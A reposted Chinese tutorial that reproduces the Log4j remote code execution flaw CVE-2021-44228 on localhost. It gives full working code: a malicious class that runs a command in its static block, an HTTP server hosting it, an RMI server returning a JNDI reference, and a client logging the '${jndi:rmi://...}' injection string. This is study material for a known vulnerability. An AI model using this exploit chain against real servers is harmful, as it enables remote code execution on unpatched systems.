栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Apache Log4j 漏洞复现(CVE-2021-44228 )包含源码

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache Log4j 漏洞复现(CVE-2021-44228 )包含源码

12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞编号:CVE-2021-44228,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。关于漏洞的细节想必大家都很感兴趣,我们这边直接用代码来复现漏洞。

目录

实验环境

操作步骤

准备恶意对象

启动HTTP服务器

启动RMI服务器

启动Client

项目代码


实验环境

java版本 : 1.8.0_91

python版本:  3.10.1  (python版本与此次实验无强关联,只是为了搭建http服务器)

log4j版本 : 2.14.1

实验概览:

此次采用rmi注入,主要有这三个部分。

Client:模拟受攻击的服务器,执行log4j的日志

HTTP服务器:用于上传注入的代码,并返回给Client

RMI服务器:用于接收Client发送的rmi请求,并返回远程对象地址

恶意对象:在这个对象的静态代码块中写入想要执行的代码,如cmd命令。Client在加载对象时,由于默认执行静态代码块,cmd命令也会被执行。

操作步骤

接下来是各部分的代码展示,我们按照启动顺序展开

准备恶意对象

这是对象EviObj的代码,这里为了更好的演示,我们只是简单的执行一个calc命令(windows系统命令),调用计算器。如果大家不是windows的话,自行修改为其他命令。

public class EvilObj {
    static {
        try{
            // open the calc
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }

    }

}

准备好代码后,我们编译成class

执行javac EvilObj.java  获得EvilObj.class

启动HTTP服务器

这里为了演示方便,我们直接用python3自带的SimpleHTTPServe来启动,命令如下

python  -m http.server 6666

同时将EvilObj.class放在http服务器的根目录,也就是执行该python命令的所在目录。

启动RMI服务器

这里为了演示方便我rmi服务器也起在本地,监听端口1099,同时返回http服务器的地址为127.0.0.1:6666

代码如下

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;

import javax.naming.Reference;

import java.rmi.AlreadyBoundException;

import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class RmiServer {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:6666/";

        System.out.println("Create RMI registry on port 1099");

        Reference reference = new Reference("EvilObj", "EvilObj", url);

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("evil", referenceWrapper);

    }
}

执行Main方法启动

启动Client

模拟收到攻击,打印恶意日志

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class Main {
    private static final Logger log = LogManager.getLogger();

    public static void main(String[] args) {
        // 执行该日志注入
        log.error("${jndi:rmi://127.0.0.1:1099/evil}");
    }

}

启动后可以看到,成功调用了计算器

项目代码

ApacheLog4j漏洞复现(CVE-2021-44228)包含源码-网络安全文档类资源-CSDN下载

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/657808.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号